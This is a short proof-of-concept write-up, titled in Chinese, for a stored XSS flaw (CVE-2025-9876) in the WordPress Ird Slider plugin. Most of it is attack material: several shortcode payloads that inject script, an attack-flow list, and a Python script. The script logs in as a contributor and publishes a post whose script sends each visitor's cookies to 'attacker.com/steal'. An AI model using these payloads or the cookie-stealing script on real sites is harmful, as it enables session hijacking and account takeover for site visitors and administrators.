CVE-2025-9876：WordPress Ird Slider插件存储型XSS漏洞

<!-- Stored XSS PoC for CVE-2025-9876 - Ird Slider Plugin --> <!-- Inject the following shortcode into a post or page as a contributor-level user --> [irdslider title="<script>alert('XSS-'+document.cookie)</script>" description="<img src=x onerror=alert(document.domain)>"] <!-- Alternative payload using event handlers --> [irdslider title="test" link="javascript:alert('XSS')" image="<svg onload=alert(1)>"] <!-- Attack flow: 1. Attacker logs in as contributor or higher 2. Creates a new post/page containing malicious irdslider shortcode 3. Submits the post for review or publishes it 4. When any user visits the page, the injected script executes 5. Attacker can steal cookies, redirect users, or perform actions on behalf of victims --> <!-- Python exploit example to automate cookie stealing --> import requests target_url = "http://target-wordpress-site.com" attacker_server = "http://attacker.com/steal" payload = '[irdslider title=\"<script>fetch(\'{server}?c=\'+document.cookie)</script>\"]'.format(server=attacker_server) # Login as contributor session = requests.Session() login_data = { 'log': 'contributor_username', 'pwd': 'contributor_password', 'wp-submit': 'Log In', 'redirect_to': '', 'testcookie': '1' } session.post(f"{target_url}/wp-login.php", data=login_data) # Create post with malicious shortcode post_data = { 'post_title': 'Interesting Article', 'post_content': payload, 'post_status': 'publish', 'post_type': 'post' } session.post(f"{target_url}/wp-admin/post-new.php", data=post_data)